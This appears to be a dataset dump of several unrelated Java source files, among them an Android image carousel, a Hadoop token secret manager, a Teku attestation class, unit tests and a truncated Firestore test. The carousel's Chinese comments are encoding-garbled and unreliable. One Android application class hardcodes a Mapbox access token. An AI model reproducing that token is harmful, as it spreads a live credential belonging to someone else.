text
stringlengths 7
1.01M
|
|---|
package cn.androiddevelop.cycleviewpager.lib;
import java.util.ArrayList;
import java.util.List;
import com.kingtopgroup.R;
import com.kingtopgroup.util.stevenhu.android.phone.bean.ADInfo;
import android.annotation.SuppressLint;
import android.app.Fragment;
import android.os.Bundle;
import android.os.Message;
import android.support.v4.view.PagerAdapter;
import android.support.v4.view.ViewPager.OnPageChangeListener;
import android.view.LayoutInflater;
import android.view.View;
import android.view.View.OnClickListener;
import android.view.ViewGroup;
import android.widget.FrameLayout;
import android.widget.ImageView;
import android.widget.LinearLayout;
import android.widget.RelativeLayout;
/**
* 瀹炵幇鍙惊鐜紝鍙疆鎾殑viewpager
*/
@SuppressLint("NewApi")
public class CycleViewPager extends Fragment implements OnPageChangeListener {
private List<ImageView> imageViews = new ArrayList<ImageView>();
private ImageView[] indicators;
private FrameLayout viewPagerFragmentLayout;
private LinearLayout indicatorLayout; // 鎸囩ず鍣�
private BaseViewPager viewPager;
private BaseViewPager parentViewPager;
private ViewPagerAdapter adapter;
private CycleViewPagerHandler handler;
private int time = 5000; // 榛樿杞挱鏃堕棿
private int currentPosition = 0; // 杞挱褰撳墠浣嶇疆
private boolean isScrolling = false; // 婊氬姩妗嗘槸鍚︽粴鍔ㄧ潃
private boolean isCycle = false; // 鏄惁寰幆
private boolean isWheel = false; // 鏄惁杞挱
private long releaseTime = 0; // 鎵嬫寚鏉惧紑銆侀〉闈笉婊氬姩鏃堕棿锛岄槻姝㈡墜鏈烘澗寮�鍚庣煭鏃堕棿杩涜鍒囨崲
private int WHEEL = 100; // 杞姩
private int WHEEL_WAIT = 101; // 绛夊緟
private ImageCycleViewListener mImageCycleViewListener;
private List<ADInfo> infos;
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
View view = LayoutInflater.from(getActivity()).inflate(
R.layout.view_cycle_viewpager_contet, null);
viewPager = (BaseViewPager) view.findViewById(R.id.viewPager);
indicatorLayout = (LinearLayout) view
.findViewById(R.id.layout_viewpager_indicator);
viewPagerFragmentLayout = (FrameLayout) view
.findViewById(R.id.layout_viewager_content);
handler = new CycleViewPagerHandler(getActivity()) {
@Override
public void handleMessage(Message msg) {
super.handleMessage(msg);
if (msg.what == WHEEL && imageViews.size() != 0) {
if (!isScrolling) {
int max = imageViews.size() + 1;
int position = (currentPosition + 1) % imageViews.size();
viewPager.setCurrentItem(position, true);
if (position == max) { // 鏈�鍚庝竴椤垫椂鍥炲埌绗竴椤�
viewPager.setCurrentItem(1, false);
}
}
releaseTime = System.currentTimeMillis();
handler.removeCallbacks(runnable);
handler.postDelayed(runnable, time);
return;
}
if (msg.what == WHEEL_WAIT && imageViews.size() != 0) {
handler.removeCallbacks(runnable);
handler.postDelayed(runnable, time);
}
}
};
return view;
}
public void setData(List<ImageView> views, List<ADInfo> list, ImageCycleViewListener listener) {
setData(views, list, listener, 0);
}
/**
* 鍒濆鍖杤iewpager
*
* @param views
* 瑕佹樉绀虹殑views
* @param showPosition
* 榛樿鏄剧ず浣嶇疆
*/
public void setData(List<ImageView> views, List<ADInfo> list, ImageCycleViewListener listener, int showPosition) {
mImageCycleViewListener = listener;
infos = list;
this.imageViews.clear();
if (views.size() == 0) {
viewPagerFragmentLayout.setVisibility(View.GONE);
return;
}
for (ImageView item : views) {
this.imageViews.add(item);
}
int ivSize = views.size();
// 璁剧疆鎸囩ず鍣�
indicators = new ImageView[ivSize];
if (isCycle)
indicators = new ImageView[ivSize - 2];
indicatorLayout.removeAllViews();
for (int i = 0; i < indicators.length; i++) {
View view = LayoutInflater.from(getActivity()).inflate(
R.layout.view_cycle_viewpager_indicator, null);
indicators[i] = (ImageView) view.findViewById(R.id.image_indicator);
indicatorLayout.addView(view);
}
adapter = new ViewPagerAdapter();
// 榛樿鎸囧悜绗竴椤癸紝涓嬫柟viewPager.setCurrentItem灏嗚Е鍙戦噸鏂拌绠楁寚绀哄櫒鎸囧悜
setIndicator(0);
viewPager.setOffscreenPageLimit(3);
viewPager.setOnPageChangeListener(this);
viewPager.setAdapter(adapter);
if (showPosition < 0 || showPosition >= views.size())
showPosition = 0;
if (isCycle) {
showPosition = showPosition + 1;
}
viewPager.setCurrentItem(showPosition);
}
/**
* 璁剧疆鎸囩ず鍣ㄥ眳涓紝榛樿鎸囩ず鍣ㄥ湪鍙虫柟
*/
public void setIndicatorCenter() {
RelativeLayout.LayoutParams params = new RelativeLayout.LayoutParams(
RelativeLayout.LayoutParams.WRAP_CONTENT,
RelativeLayout.LayoutParams.WRAP_CONTENT);
params.addRule(RelativeLayout.ALIGN_PARENT_BOTTOM);
params.addRule(RelativeLayout.CENTER_HORIZONTAL);
indicatorLayout.setLayoutParams(params);
}
/**
* 鏄惁寰幆锛岄粯璁や笉寮�鍚紝寮�鍚墠锛岃灏唙iews鐨勬渶鍓嶉潰涓庢渶鍚庨潰鍚勫姞鍏ヤ竴涓鍥撅紝鐢ㄤ簬寰幆
*
* @param isCycle
* 鏄惁寰幆
*/
public void setCycle(boolean isCycle) {
this.isCycle = isCycle;
}
/**
* 鏄惁澶勪簬寰幆鐘舵��
*
* @return
*/
public boolean isCycle() {
return isCycle;
}
/**
* 璁剧疆鏄惁杞挱锛岄粯璁や笉杞挱,杞挱涓�瀹氭槸寰幆鐨�
*
* @param isWheel
*/
public void setWheel(boolean isWheel) {
this.isWheel = isWheel;
isCycle = true;
if (isWheel) {
handler.postDelayed(runnable, time);
}
}
/**
* 鏄惁澶勪簬杞挱鐘舵��
*
* @return
*/
public boolean isWheel() {
return isWheel;
}
final Runnable runnable = new Runnable() {
@Override
public void run() {
if (getActivity() != null && !getActivity().isFinishing()
&& isWheel) {
long now = System.currentTimeMillis();
// 妫�娴嬩笂涓�娆℃粦鍔ㄦ椂闂翠笌鏈涔嬮棿鏄惁鏈夎Е鍑�(鎵嬫粦鍔�)鎿嶄綔锛屾湁鐨勮瘽绛夊緟涓嬫杞挱
if (now - releaseTime > time - 500) {
handler.sendEmptyMessage(WHEEL);
} else {
handler.sendEmptyMessage(WHEEL_WAIT);
}
}
}
};
/**
* 閲婃斁鎸囩ず鍣ㄩ珮搴︼紝鍙兘鐢变簬涔嬪墠鎸囩ず鍣ㄨ闄愬埗浜嗛珮搴︼紝姝ゅ閲婃斁
*/
public void releaseHeight() {
getView().getLayoutParams().height = RelativeLayout.LayoutParams.MATCH_PARENT;
refreshData();
}
/**
* 璁剧疆杞挱鏆傚仠鏃堕棿锛屽嵆娌″灏戠鍒囨崲鍒颁笅涓�寮犺鍥�.榛樿5000ms
*
* @param time
* 姣涓哄崟浣�
*/
public void setTime(int time) {
this.time = time;
}
/**
* 鍒锋柊鏁版嵁锛屽綋澶栭儴瑙嗗浘鏇存柊鍚庯紝閫氱煡鍒锋柊鏁版嵁
*/
public void refreshData() {
if (adapter != null)
adapter.notifyDataSetChanged();
}
/**
* 闅愯棌CycleViewPager
*/
public void hide() {
viewPagerFragmentLayout.setVisibility(View.GONE);
}
/**
* 杩斿洖鍐呯疆鐨剉iewpager
*
* @return viewPager
*/
public BaseViewPager getViewPager() {
return viewPager;
}
/**
* 椤甸潰閫傞厤鍣� 杩斿洖瀵瑰簲鐨剉iew
*
* @author Yuedong Li
*
*/
private class ViewPagerAdapter extends PagerAdapter {
@Override
public int getCount() {
return imageViews.size();
}
@Override
public boolean isViewFromObject(View arg0, Object arg1) {
return arg0 == arg1;
}
@Override
public void destroyItem(ViewGroup container, int position, Object object) {
container.removeView((View) object);
}
@Override
public View instantiateItem(ViewGroup container, final int position) {
ImageView v = imageViews.get(position);
if (mImageCycleViewListener != null) {
v.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
mImageCycleViewListener.onImageClick(infos.get(currentPosition - 1), currentPosition, v);
}
});
}
container.addView(v);
return v;
}
@Override
public int getItemPosition(Object object) {
return POSITION_NONE;
}
}
@Override
public void onPageScrollStateChanged(int arg0) {
if (arg0 == 1) { // viewPager鍦ㄦ粴鍔�
isScrolling = true;
return;
} else if (arg0 == 0) { // viewPager婊氬姩缁撴潫
if (parentViewPager != null)
parentViewPager.setScrollable(true);
releaseTime = System.currentTimeMillis();
viewPager.setCurrentItem(currentPosition, false);
}
isScrolling = false;
}
@Override
public void onPageScrolled(int arg0, float arg1, int arg2) {
}
@Override
public void onPageSelected(int arg0) {
int max = imageViews.size() - 1;
int position = arg0;
currentPosition = arg0;
if (isCycle) {
if (arg0 == 0) {
currentPosition = max - 1;
} else if (arg0 == max) {
currentPosition = 1;
}
position = currentPosition - 1;
}
setIndicator(position);
}
/**
* 璁剧疆viewpager鏄惁鍙互婊氬姩
*
* @param enable
*/
public void setScrollable(boolean enable) {
viewPager.setScrollable(enable);
}
/**
* 杩斿洖褰撳墠浣嶇疆,寰幆鏃堕渶瑕佹敞鎰忚繑鍥炵殑position鍖呭惈涔嬪墠鍦╲iews鏈�鍓嶆柟涓庢渶鍚庢柟鍔犲叆鐨勮鍥撅紝鍗冲綋鍓嶉〉闈㈣瘯鍥惧湪views闆嗗悎鐨勪綅缃�
*
* @return
*/
public int getCurrentPostion() {
return currentPosition;
}
/**
* 璁剧疆鎸囩ず鍣�
*
* @param selectedPosition
* 榛樿鎸囩ず鍣ㄤ綅缃�
*/
private void setIndicator(int selectedPosition) {
for (int i = 0; i < indicators.length; i++) {
indicators[i]
.setBackgroundResource(R.drawable.icon_point);
}
if (indicators.length > selectedPosition)
indicators[selectedPosition]
.setBackgroundResource(R.drawable.icon_point_pre);
}
/**
* 濡傛灉褰撳墠椤甸潰宓屽鍦ㄥ彟涓�涓獀iewPager涓紝涓轰簡鍦ㄨ繘琛屾粴鍔ㄦ椂闃绘柇鐖禫iewPager婊氬姩锛屽彲浠� 闃绘鐖禫iewPager婊戝姩浜嬩欢
* 鐖禫iewPager闇�瑕佸疄鐜癙arentViewPager涓殑setScrollable鏂规硶
*/
public void disableParentViewPagerTouchEvent(BaseViewPager parentViewPager) {
if (parentViewPager != null)
parentViewPager.setScrollable(false);
}
/**
* 杞挱鎺т欢鐨勭洃鍚簨浠�
*
* @author minking
*/
public static interface ImageCycleViewListener {
/**
* 鍗曞嚮鍥剧墖浜嬩欢
*
* @param position
* @param imageView
*/
public void onImageClick(ADInfo info, int postion, View imageView);
}
}
|
/**
* Given a binary tree, flatten it to a linked list in-place.
*
* For example,
* Given
*
* 1
* / \
* 2 5
* / \ \
* 3 4 6
* The flattened tree should look like:
* 1
* \
* 2
* \
* 3
* \
* 4
* \
* 5
* \
* 6
*
* Hints:
* If you notice carefully in the flattened tree, each node's right child
* points to the next node of a pre-order traversal.
*
* Tags: Tree, DFS
*/
class FlatenBinaryTreeToLinkedList {
public static void main(String[] args) {
}
/**
* addRecursive root's right subtree to left node's rightmost child
* Then set that subtree as root's right subtree
* And set root's left child to null
* Move root to its right child and repeat
*/
public void flatten(TreeNode root) {
while (root != null) {
if (root.left != null) { // check left child
TreeNode n = root.left;
while (n.right != null) n = n.right; // rightmost child of left
n.right = root.right; // insert right subtree to its right
root.right = root.left; // set left subtree as right subtree
root.left = null; // set left to null
}
root = root.right; // move to right child
}
}
public class TreeNode {
int val;
TreeNode left;
TreeNode right;
TreeNode(int x) { val = x; }
}
}
|
package net.script;
import javafx.application.Application;
import javafx.fxml.FXMLLoader;
import javafx.scene.Parent;
import javafx.scene.Scene;
import javafx.stage.Stage;
import javafx.stage.StageStyle;
import net.script.config.main.ApplicationVariables;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.ConfigurableApplicationContext;
import java.util.Arrays;
@SpringBootApplication
public class Main extends Application {
private ConfigurableApplicationContext springContext;
private FXMLLoader fxmlLoader;
private double xOffset = 0;
private double yOffset = 0;
private static Stage currentStage;
@Override
public void start(Stage primaryStage) throws Exception{
fxmlLoader.setLocation(getClass().getResource("/fxml/sample.fxml"));
Parent root = fxmlLoader.load();
primaryStage.setTitle("KSR 2 - Podsumowania lingwistyczne.");
primaryStage.initStyle(StageStyle.UNDECORATED);
//MOVE IT TO SCENE CONTROLLER
root.setOnMousePressed( (e) -> {
xOffset = e.getSceneX();
yOffset = e.getSceneY();
});
root.setOnMouseDragged((e) -> {
primaryStage.setX(e.getScreenX() - xOffset);
primaryStage.setY(e.getScreenY() - yOffset);
});
Scene scene = new Scene(root, 1200, 900);
scene.getStylesheets().add( getClass().getResource("/css/style.css").toExternalForm() );
primaryStage.setScene(scene);
primaryStage.show();
currentStage = primaryStage;
}
public static Stage getCurrentStage() {
return currentStage;
}
public static void main(String[] args) {
if (args != null) {
ApplicationVariables.INIT_VALUES.addAll(Arrays.asList(args));
}
launch(args);
}
@Override
public void init() {
springContext = SpringApplication.run(Main.class);
fxmlLoader = new FXMLLoader();
fxmlLoader.setControllerFactory(springContext::getBean);
}
@Override
public void stop() {
springContext.stop();
}
}
|
/*
* Copyright 2019 ConsenSys AG.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on
* an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
* specific language governing permissions and limitations under the License.
*/
package tech.pegasys.teku.spec.datastructures.operations;
import tech.pegasys.teku.bls.BLSSignature;
import tech.pegasys.teku.infrastructure.ssz.collections.SszUInt64List;
import tech.pegasys.teku.infrastructure.ssz.containers.Container3;
import tech.pegasys.teku.infrastructure.ssz.containers.ContainerSchema3;
import tech.pegasys.teku.infrastructure.ssz.schema.collections.SszUInt64ListSchema;
import tech.pegasys.teku.infrastructure.ssz.tree.TreeNode;
import tech.pegasys.teku.spec.config.SpecConfig;
import tech.pegasys.teku.spec.datastructures.type.SszSignature;
import tech.pegasys.teku.spec.datastructures.type.SszSignatureSchema;
public class IndexedAttestation
extends Container3<IndexedAttestation, SszUInt64List, AttestationData, SszSignature> {
public static class IndexedAttestationSchema
extends ContainerSchema3<IndexedAttestation, SszUInt64List, AttestationData, SszSignature> {
public IndexedAttestationSchema(final SpecConfig config) {
super(
"IndexedAttestation",
namedSchema(
"attesting_indices",
SszUInt64ListSchema.create(config.getMaxValidatorsPerCommittee())),
namedSchema("data", AttestationData.SSZ_SCHEMA),
namedSchema("signature", SszSignatureSchema.INSTANCE));
}
public SszUInt64ListSchema<?> getAttestingIndicesSchema() {
return (SszUInt64ListSchema<?>) super.getFieldSchema0();
}
@Override
public IndexedAttestation createFromBackingNode(TreeNode node) {
return new IndexedAttestation(this, node);
}
public IndexedAttestation create(
final SszUInt64List attestingIndices,
final AttestationData data,
final BLSSignature signature) {
return new IndexedAttestation(this, attestingIndices, data, signature);
}
}
private IndexedAttestation(IndexedAttestationSchema type, TreeNode backingNode) {
super(type, backingNode);
}
private IndexedAttestation(
final IndexedAttestationSchema schema,
final SszUInt64List attestingIndices,
final AttestationData data,
final BLSSignature signature) {
super(schema, attestingIndices, data, new SszSignature(signature));
}
@Override
public IndexedAttestationSchema getSchema() {
return (IndexedAttestationSchema) super.getSchema();
}
public SszUInt64List getAttesting_indices() {
return getField0();
}
public AttestationData getData() {
return getField1();
}
public BLSSignature getSignature() {
return getField2().getSignature();
}
}
|
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.hadoop.yarn.server.resourcemanager.security;
import java.util.HashSet;
import java.util.Iterator;
import java.util.Timer;
import java.util.TimerTask;
import java.util.concurrent.ConcurrentHashMap;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.apache.hadoop.classification.InterfaceAudience.Private;
import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.yarn.api.records.ApplicationAttemptId;
import org.apache.hadoop.yarn.api.records.Container;
import org.apache.hadoop.yarn.api.records.NMToken;
import org.apache.hadoop.yarn.api.records.NodeId;
import org.apache.hadoop.yarn.api.records.Token;
import org.apache.hadoop.yarn.conf.YarnConfiguration;
import org.apache.hadoop.yarn.server.api.records.MasterKey;
import org.apache.hadoop.yarn.server.security.BaseNMTokenSecretManager;
import org.apache.hadoop.yarn.server.security.MasterKeyData;
import com.google.common.annotations.VisibleForTesting;
public class NMTokenSecretManagerInRM extends BaseNMTokenSecretManager {
private static final Logger LOG = LoggerFactory
.getLogger(NMTokenSecretManagerInRM.class);
private MasterKeyData nextMasterKey;
private Configuration conf;
private final Timer timer;
private final long rollingInterval;
private final long activationDelay;
private final ConcurrentHashMap<ApplicationAttemptId, HashSet<NodeId>> appAttemptToNodeKeyMap;
public NMTokenSecretManagerInRM(Configuration conf) {
this.conf = conf;
timer = new Timer();
rollingInterval = this.conf.getLong(
YarnConfiguration.RM_NMTOKEN_MASTER_KEY_ROLLING_INTERVAL_SECS,
YarnConfiguration.DEFAULT_RM_NMTOKEN_MASTER_KEY_ROLLING_INTERVAL_SECS)
* 1000;
// Add an activation delay. This is to address the following race: RM may
// roll over master-key, scheduling may happen at some point of time, an
// NMToken created with a password generated off new master key, but NM
// might not have come again to RM to update the shared secret: so AM has a
// valid password generated off new secret but NM doesn't know about the
// secret yet.
// Adding delay = 1.5 * expiry interval makes sure that all active NMs get
// the updated shared-key.
this.activationDelay =
(long) (conf.getLong(YarnConfiguration.RM_NM_EXPIRY_INTERVAL_MS,
YarnConfiguration.DEFAULT_RM_NM_EXPIRY_INTERVAL_MS) * 1.5);
LOG.info("NMTokenKeyRollingInterval: " + this.rollingInterval
+ "ms and NMTokenKeyActivationDelay: " + this.activationDelay
+ "ms");
if (rollingInterval <= activationDelay * 2) {
throw new IllegalArgumentException(
YarnConfiguration.RM_NMTOKEN_MASTER_KEY_ROLLING_INTERVAL_SECS
+ " should be more than 3 X "
+ YarnConfiguration.RM_NM_EXPIRY_INTERVAL_MS);
}
appAttemptToNodeKeyMap =
new ConcurrentHashMap<ApplicationAttemptId, HashSet<NodeId>>();
}
/**
* Creates a new master-key and sets it as the primary.
*/
@Private
public void rollMasterKey() {
super.writeLock.lock();
try {
LOG.info("Rolling master-key for nm-tokens");
if (this.currentMasterKey == null) { // Setting up for the first time.
this.currentMasterKey = createNewMasterKey();
} else {
this.nextMasterKey = createNewMasterKey();
LOG.info("Going to activate master-key with key-id "
+ this.nextMasterKey.getMasterKey().getKeyId() + " in "
+ this.activationDelay + "ms");
this.timer.schedule(new NextKeyActivator(), this.activationDelay);
}
} finally {
super.writeLock.unlock();
}
}
@Private
public MasterKey getNextKey() {
super.readLock.lock();
try {
if (this.nextMasterKey == null) {
return null;
} else {
return this.nextMasterKey.getMasterKey();
}
} finally {
super.readLock.unlock();
}
}
/**
* Activate the new master-key
*/
@Private
public void activateNextMasterKey() {
super.writeLock.lock();
try {
LOG.info("Activating next master key with id: "
+ this.nextMasterKey.getMasterKey().getKeyId());
this.currentMasterKey = this.nextMasterKey;
this.nextMasterKey = null;
clearApplicationNMTokenKeys();
} finally {
super.writeLock.unlock();
}
}
public void clearNodeSetForAttempt(ApplicationAttemptId attemptId) {
super.writeLock.lock();
try {
HashSet<NodeId> nodeSet = this.appAttemptToNodeKeyMap.get(attemptId);
if (nodeSet != null) {
LOG.info("Clear node set for " + attemptId);
nodeSet.clear();
}
} finally {
super.writeLock.unlock();
}
}
private void clearApplicationNMTokenKeys() {
// We should clear all node entries from this set.
// TODO : Once we have per node master key then it will change to only
// remove specific node from it.
Iterator<HashSet<NodeId>> nodeSetI =
this.appAttemptToNodeKeyMap.values().iterator();
while (nodeSetI.hasNext()) {
nodeSetI.next().clear();
}
}
public void start() {
rollMasterKey();
this.timer.scheduleAtFixedRate(new MasterKeyRoller(), rollingInterval,
rollingInterval);
}
public void stop() {
this.timer.cancel();
}
private class MasterKeyRoller extends TimerTask {
@Override
public void run() {
rollMasterKey();
}
}
private class NextKeyActivator extends TimerTask {
@Override
public void run() {
// Activation will happen after an absolute time interval. It will be good
// if we can force activation after an NM updates and acknowledges a
// roll-over. But that is only possible when we move to per-NM keys. TODO:
activateNextMasterKey();
}
}
public NMToken createAndGetNMToken(String applicationSubmitter,
ApplicationAttemptId appAttemptId, Container container) {
this.writeLock.lock();
try {
HashSet<NodeId> nodeSet = this.appAttemptToNodeKeyMap.get(appAttemptId);
NMToken nmToken = null;
if (nodeSet != null) {
if (!nodeSet.contains(container.getNodeId())) {
LOG.info("Sending NMToken for nodeId : " + container.getNodeId()
+ " for container : " + container.getId());
Token token =
createNMToken(container.getId().getApplicationAttemptId(),
container.getNodeId(), applicationSubmitter);
nmToken = NMToken.newInstance(container.getNodeId(), token);
nodeSet.add(container.getNodeId());
}
}
return nmToken;
} finally {
this.writeLock.unlock();
}
}
public void registerApplicationAttempt(ApplicationAttemptId appAttemptId) {
this.writeLock.lock();
try {
this.appAttemptToNodeKeyMap.put(appAttemptId, new HashSet<NodeId>());
} finally {
this.writeLock.unlock();
}
}
@Private
@VisibleForTesting
public boolean isApplicationAttemptRegistered(
ApplicationAttemptId appAttemptId) {
this.readLock.lock();
try {
return this.appAttemptToNodeKeyMap.containsKey(appAttemptId);
} finally {
this.readLock.unlock();
}
}
@Private
@VisibleForTesting
public boolean isApplicationAttemptNMTokenPresent(
ApplicationAttemptId appAttemptId, NodeId nodeId) {
this.readLock.lock();
try {
HashSet<NodeId> nodes = this.appAttemptToNodeKeyMap.get(appAttemptId);
if (nodes != null && nodes.contains(nodeId)) {
return true;
} else {
return false;
}
} finally {
this.readLock.unlock();
}
}
public void unregisterApplicationAttempt(ApplicationAttemptId appAttemptId) {
this.writeLock.lock();
try {
this.appAttemptToNodeKeyMap.remove(appAttemptId);
} finally {
this.writeLock.unlock();
}
}
/**
* This is to be called when NodeManager reconnects or goes down. This will
* remove if NMTokens if present for any running application from cache.
* @param nodeId
*/
public void removeNodeKey(NodeId nodeId) {
this.writeLock.lock();
try {
Iterator<HashSet<NodeId>> appNodeKeySetIterator =
this.appAttemptToNodeKeyMap.values().iterator();
while (appNodeKeySetIterator.hasNext()) {
appNodeKeySetIterator.next().remove(nodeId);
}
} finally {
this.writeLock.unlock();
}
}
}
|
/*******************************************************************************
* Copyright 2010 Cees De Groot, Alex Boisvert, Jan Kotek
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
******************************************************************************/
package jdbm.recman;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import junit.framework.TestCase;
import junit.framework.TestSuite;
/**
* This class contains all Unit tests for {@link BlockIo}.
*/
public class TestBlockIo extends TestCase {
private static final short SHORT_VALUE = 0x1234;
private static final int INT_VALUE = 0xe7b3c8a1;
private static final long LONG_VALUE = 0xfdebca9876543210L;
private static final long LONG_VALUE2 = 1231290495545446485L;
public TestBlockIo(String name) {
super(name);
}
/**
* Test writing
*/
public void testWrite() throws Exception {
byte[] data = new byte[100];
BlockIo test = new BlockIo(0, data);
test.writeShort(0, SHORT_VALUE);
test.writeLong(2, LONG_VALUE);
test.writeInt(10, INT_VALUE);
test.writeLong(14, LONG_VALUE2);
DataInputStream is =
new DataInputStream(new ByteArrayInputStream(data));
assertEquals("short", SHORT_VALUE, is.readShort());
assertEquals("long", LONG_VALUE, is.readLong());
assertEquals("int", INT_VALUE, is.readInt());
assertEquals("long", LONG_VALUE2, is.readLong());
}
/**
* Test reading
*/
public void testRead() throws Exception {
ByteArrayOutputStream bos = new ByteArrayOutputStream(100);
DataOutputStream os = new DataOutputStream(bos);
os.writeShort(SHORT_VALUE);
os.writeLong(LONG_VALUE);
os.writeInt(INT_VALUE);
os.writeLong(LONG_VALUE2);
byte[] data = bos.toByteArray();
BlockIo test = new BlockIo(0, data);
assertEquals("short", SHORT_VALUE, test.readShort(0));
assertEquals("long", LONG_VALUE, test.readLong(2));
assertEquals("int", INT_VALUE, test.readInt(10));
assertEquals("long", LONG_VALUE2, test.readLong(14));
}
/**
* Runs all tests in this class
*/
public static void main(String[] args) {
junit.textui.TestRunner.run(new TestSuite(TestBlockIo.class));
}
}
|
package andioopp.model.domain.entity;
import andioopp.common.math.dimension.Dimension;
import andioopp.common.math.rectangle.Rectangle;
import andioopp.common.math.rectangle.ImmutableRectangle;
import andioopp.common.math.vector.Vector3f;
import andioopp.model.domain.money.Money;
import andioopp.model.util.ModelCoordinate;
/**
* A dropped coin that exists in the game world.
*/
public class DroppedCoinEntity {
private final Rectangle rectangle;
private final Money value;
private final Dimension dimension = new Dimension(new ModelCoordinate(0.3f, 0.4f));
public DroppedCoinEntity(Vector3f position, Money value) {
this.rectangle = new ImmutableRectangle(position, dimension);
this.value = value;
}
public Money getValue() {
return value;
}
public ModelCoordinate getPosition() {
return new ModelCoordinate(rectangle.getPosition());
}
public Dimension getSize() {
return rectangle.getSize();
}
}
|
package com.tanamo.osm;
import android.app.Application;
import android.text.TextUtils;
import android.util.Log;
import com.mapbox.mapboxsdk.Mapbox;
import com.tanamo.osm.util.Utils;
public class MyApplication extends Application {
private static final String LOG_TAG = MyApplication.class.getSimpleName();
private static final String DEFAULT_TOKEN = "pk.eyJ1IjoidGFuYW1vIiwiYSI6ImNqcjk5dGhrMzA1bmI0YWxoenZzajZuNTcifQ.CKdwRFeNzSuMFos9e9djfw";
@Override
public void onCreate() {
super.onCreate();
// Set access token
String aToken = Utils.getMapboxAccessToken(getApplicationContext());
if (TextUtils.isEmpty(aToken) || aToken.equals(DEFAULT_TOKEN)) {
Log.w(LOG_TAG, "Warning: access token isn't set.");
}
Mapbox.getInstance(getApplicationContext(), aToken);
}
}
|
/*
* Copyright 2018 The Chromium Authors. All rights reserved.
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file.
*/
package io.flutter.run.bazelTest;
import com.intellij.psi.PsiElement;
import io.flutter.run.common.TestLineMarkerContributor;
import io.flutter.settings.FlutterSettings;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;
/**
* Annotates bazel Flutter tests with line markers.
*/
public class FlutterBazelTestLineMarkerContributor extends TestLineMarkerContributor {
public FlutterBazelTestLineMarkerContributor() {
super(BazelTestConfigUtils.getInstance());
}
@Nullable
@Override
public Info getInfo(@NotNull PsiElement element) {
final FlutterSettings settings = FlutterSettings.getInstance();
return super.getInfo(element);
}
}
|
package io.dactilo.sumbawa.spring.ical.converter.api.attendees;
import java.lang.annotation.Documented;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import static java.lang.annotation.ElementType.METHOD;
import static java.lang.annotation.RetentionPolicy.RUNTIME;
@Retention(value = RUNTIME)
@Target(value = {METHOD})
@Documented
public @interface ICalendarAttendeeTransformer {
Class<? extends ICalendarAttendeeTransformerFunction> transformer();
}
|
/*
* Copyright 2017-2019 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* https://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.cloud.spring.data.firestore.it;
import java.util.Arrays;
import java.util.Collections;
import java.util.List;
import java.util.stream.IntStream;
import com.google.cloud.spring.data.firestore.SimpleFirestoreReactiveRepository;
import com.google.cloud.spring.data.firestore.entities.User;
import com.google.cloud.spring.data.firestore.entities.User.Address;
import com.google.cloud.spring.data.firestore.entities.UserRepository;
import com.google.cloud.spring.data.firestore.transaction.ReactiveFirestoreTransactionManager;
import org.junit.Before;
import org.junit.BeforeClass;
import org.junit.Test;
import org.junit.runner.RunWith;
import reactor.core.publisher.Flux;
import reactor.core.publisher.Mono;
import reactor.test.StepVerifier;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.domain.PageRequest;
import org.springframework.data.domain.Sort;
import org.springframework.data.domain.Sort.Order;
import org.springframework.test.context.ContextConfiguration;
import org.springframework.test.context.junit4.SpringRunner;
import org.springframework.test.util.AopTestUtils;
import org.springframework.transaction.reactive.TransactionalOperator;
import org.springframework.transaction.support.DefaultTransactionDefinition;
import static org.assertj.core.api.Assertions.assertThat;
import static org.hamcrest.Matchers.is;
import static org.junit.Assume.assumeThat;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.Mockito.reset;
import static org.mockito.Mockito.times;
import static org.mockito.Mockito.verify;
@RunWith(SpringRunner.class)
@ContextConfiguration(classes = FirestoreIntegrationTestsConfiguration.class)
public class FirestoreRepositoryIntegrationTests {
//tag::autowire[]
@Autowired
UserRepository userRepository;
//end::autowire[]
//tag::autowire_tx_manager[]
@Autowired
ReactiveFirestoreTransactionManager txManager;
//end::autowire_tx_manager[]
//tag::autowire_user_service[]
@Autowired
UserService userService;
//end::autowire_user_service[]
@Autowired
ReactiveFirestoreTransactionManager transactionManager;
@BeforeClass
public static void checkToRun() {
assumeThat("Firestore-sample tests are disabled. "
+ "Please use '-Dit.firestore=true' to enable them. ",
